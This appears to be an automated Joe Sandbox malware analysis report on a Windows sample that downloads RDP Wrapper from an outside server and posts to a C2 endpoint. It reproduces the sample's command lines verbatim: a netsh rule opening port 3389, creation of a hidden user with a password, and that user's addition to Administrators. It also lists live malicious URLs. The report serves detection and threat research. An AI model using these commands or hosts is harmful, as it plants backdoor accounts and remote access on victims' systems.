Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Analysis ID:	1528587
MD5:	5057d16e9fb573fb3924b9c3dba53260
SHA1:	ea177b2f35ca01d2e128bd876e56a548c3f69007
SHA256:	06e0a0da4cabec34eeb742c985b969260256aa15b50e14fddcc12eee7ac52fd2
Tags:	exe
Infos:

Detection

RDPWrap Tool

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Adds a new user with administrator rights

Allows multiple concurrent remote connection

Enables remote desktop connection

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Sigma detected: RDP Sensitive Settings Changed

Uses netsh to modify the Windows network and firewall settings

Yara detected RDPWrap Tool

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to enumerate running services

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: New User Created Via Net.EXE

Spawns drivers

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe (PID: 6468 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe" MD5: 5057D16E9FB573FB3924B9C3DBA53260)

cmd.exe (PID: 6892 cmdline: "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RDPWInst.exe (PID: 7052 cmdline: C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i MD5: C213162C86BB943BCDF91B3DF381D2F6)

netsh.exe (PID: 4464 cmdline: netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 6972 cmdline: "cmd.exe" /c net user RDPUser_217d5074 DUF6g)aA2aiB /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 6964 cmdline: net user RDPUser_217d5074 DUF6g)aA2aiB /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 6980 cmdline: C:\Windows\system32\net1 user RDPUser_217d5074 DUF6g)aA2aiB /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7088 cmdline: "cmd.exe" /c net localgroup MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 6892 cmdline: net localgroup MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 6972 cmdline: C:\Windows\system32\net1 localgroup MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7032 cmdline: "cmd.exe" /c net localgroup "Administrators" RDPUser_217d5074 /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 6964 cmdline: net localgroup "Administrators" RDPUser_217d5074 /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7088 cmdline: C:\Windows\system32\net1 localgroup "Administrators" RDPUser_217d5074 /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

WerFault.exe (PID: 7056 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6468 -s 2488 MD5: C31336C1EFC2CCB44B4326EA793040F2)

rdpvideominiport.sys (PID: 4 cmdline: MD5: 77FF15B9237D62A5CBC6C80E5B20A492)

rdpdr.sys (PID: 4 cmdline: MD5: 64991B36F0BD38026F7589572C98E3D6)

tsusbhub.sys (PID: 4 cmdline: MD5: CC6D4A26254EB72C93AC848ECFCFB4AF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000003.00000000.1688644177.0000000000401000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
00000003.00000000.1688700085.0000000000450000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
Process Memory Space: RDPWInst.exe PID: 7052	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security

Unpacked PEs

Source	Rule	Description	Author
3.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
3.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
3.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
3.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: RDP Sensitive Settings Changed

Source: Registry Key set

Author: Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali: Data: Details: %ProgramFiles%\RDP Wrapper\rdpwrap.dll, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, ProcessId: 7052, TargetObject: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\rdpvideominiport.sys, NewProcessName: C:\Windows\System32\drivers\rdpvideominiport.sys, OriginalFileName: C:\Windows\System32\drivers\rdpvideominiport.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: rdpvideominiport.sys

Sigma detected: New User Created Via Net.EXE

Source: Process started

Author: Endgame, JHasenbusch (adapted to Sigma for oscd.community): Data: Command: net user RDPUser_217d5074 DUF6g)aA2aiB /add, CommandLine: net user RDPUser_217d5074 DUF6g)aA2aiB /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user RDPUser_217d5074 DUF6g)aA2aiB /add, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6972, ParentProcessName: cmd.exe, ProcessCommandLine: net user RDPUser_217d5074 DUF6g)aA2aiB /add, ProcessId: 6964, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user RDPUser_217d5074 DUF6g)aA2aiB /add, CommandLine: net user RDPUser_217d5074 DUF6g)aA2aiB /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user RDPUser_217d5074 DUF6g)aA2aiB /add, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6972, ParentProcessName: cmd.exe, ProcessCommandLine: net user RDPUser_217d5074 DUF6g)aA2aiB /add, ProcessId: 6964, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: yalubluseks.eu	Virustotal: Detection: 12%	Perma Link
Source: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	Virustotal: Detection: 22%	Perma Link
Source: http://147.45.44.104	Virustotal: Detection: 20%	Perma Link
Source: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exeP	Virustotal: Detection: 19%	Perma Link
Source: http://yalubluseks.eu	Virustotal: Detection: 12%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files\RDP Wrapper\rdpwrap.dll	ReversingLabs: Detection: 54%
Source: C:\Program Files\RDP Wrapper\rdpwrap.dll	Virustotal: Detection: 56%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Virustotal: Detection: 77%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Virustotal: Detection: 58%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: unknown

HTTPS traffic detected: 172.67.140.92:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\symbols\exe\RDPCreator.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3520024706.0000000006CD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.pdb` source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.000000000128C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.00000000030AF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3516600470.0000000000F39000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: rdpclip.pdb source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER7437.tmp.dmp.27.dr
Source:	Binary string: RfxVmt.pdbGCTL source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.3.dr
Source:	Binary string: 00000000000000000400000000000000.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3520024706.0000000006CD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: RDPCreator.pdbH source: WER7437.tmp.dmp.27.dr
Source:	Binary string: \??\C:\Windows\System.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.000000000128C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbI source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.0000000001283000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.pdbt source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.00000000030AF000.00000004.00000800.00020000.00000000.sdmp, WER7437.tmp.dmp.27.dr
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: C:\Users\Scarrled\Desktop\test\RDPCreator\RDPCreator\obj\Release\RDPCreator.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
Source:	Binary string: rdpclip.pdbJ source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: mscorlib.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3517364014.000000000128C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdb source: RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.3.dr
Source:	Binary string: System.Core.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Xml.pdb8 source: WER7437.tmp.dmp.27.dr
Source:	Binary string: RDPCreator.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.ni.pdb source: WER7437.tmp.dmp.27.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER7437.tmp.dmp.27.dr

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_004092D8 FindFirstFileW,FindClose,	3_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_0040F73C FindFirstFileW,FindClose,	3_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 3_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	3_2_00408EB9

Networking

Yara detected RDPWrap Tool

Source: Yara match	File source: 3.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1688700085.0000000000450000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RDPWInst.exe PID: 7052, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 08 Oct 2024 01:30:54 GMTContent-Type: application/octet-streamContent-Length: 1785344Last-Modified: Thu, 26 Sep 2024 12:36:03 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f55533-1b3e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 1b 00 00 04 00 00 17 f6 1b 00 03 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 f8 12 00 00 00 60 05 00 ed 7b 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 fc 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 04 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 c3 04 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 12 04 00 00 10 00 00 00 14 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 7c 1e 00 00 00 30 04 00 00 20 00 00 00 18 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 78 12 00 00 00 50 04 00 00 14 00 00 00 38 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 c0 4f 00 00 00 70 04 00 00 00 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 f8 12 00 00 00 c0 04 00 00 14 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 e0 04 00 00 00 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 04 00 00 02 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 5e 00 00 00 00 05 00 00 60 00 00 00 62 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 ed 7b 16 00 00 60 05 00 00 7c 16 00 00 c2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 70 17 00 00 00 00 00 00 cc 16 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /get_rdp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 58Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 147.45.44.104 147.45.44.104

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 3_2_0043CF60 InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

3_2_0043CF60

Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: yalubluseks.eu

Source: unknown

HTTP traffic detected: POST /get_rdp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: yalubluseks.euContent-Length: 58Expect: 100-continueConnection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 01:31:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Content-Type-Options: nosniffCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2FKkLmw5gyBr4YabzhAfntmQOBN4gs9Zy3Gu%2FXTQ6JKGe%2BM33xdwjMT4URkPeSiBDFA23xNqelbUVVPlotDBaqFDOJ1kC8GQu%2Bxm0pAVDFWJY16LqLuf3LiKgWlUyj74Zg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8cf25e731d8c7cfc-EWR92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	String found in binary or memory: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exeP
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	String found in binary or memory: http://api.ipify.org
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000307D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000308E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000307D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.orgd
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.0000000002FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RDPWInst.exe, RDPWInst.exe, 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://stascorp.com/load/1-1-0-62
Source: SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe, 00000000.00000002.3518682753.000000000304A000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.3.dr	String found in binary or memory: http://stascorp.comDVarFileInfo$
Source: Amcache.hve.27.dr	String found in binary or memory: http://upx.sf.net
